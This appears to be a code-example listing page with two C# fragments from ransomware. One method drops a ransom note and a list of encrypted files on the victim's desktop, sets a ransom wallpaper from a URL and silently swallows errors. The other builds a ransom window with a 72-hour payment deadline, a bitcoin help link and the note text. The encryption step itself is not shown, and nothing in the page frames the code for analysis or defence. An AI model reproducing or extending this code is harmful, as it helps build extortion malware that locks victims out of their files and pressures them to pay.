Exemple #1
0
 private void DropNote()
 {
     try
     {
         var lines = RansomNote.GetLogo().ToList();
         lines.AddRange(RansomNote.GetNote());
         File.WriteAllLines(Path.Combine(desktopPath, ransomFileName), lines);
         Wallpaper.Set(new Uri(wallpaperUrl), Wallpaper.Style.Stretched);
         var files = RegistryHelper.GetEncryptedFileNames().Select(x => x.Key).ToList();
         File.WriteAllLines(Path.Combine(desktopPath, fileList), files);
     }
     catch
     {
     }
 }
Exemple #2
0
        public Form1()
        {
            InitializeComponent();
            timer1.Interval    = 1000;
            ransomeEndTime     = DateTime.Now.AddHours(72);
            lblExpiryDate.Text = ransomeEndTime.ToString("f");
            btnPrev.Visible    = false;
            btnNext.Visible    = true;
            linkBitcoinHelp.Links.Add(new LinkLabel.Link {
                LinkData = "https://www.bitcoin.com/"
            });
            var lines = RansomNote.GetNote();

            p1.Text = lines[0];
            p2.Text = lines[1];
            p3.Text = lines[2];
            p4.Text = lines[3];
            p5.Text = lines[4];
            p6.Text = lines[5];
            p7.Text = lines[6];
        }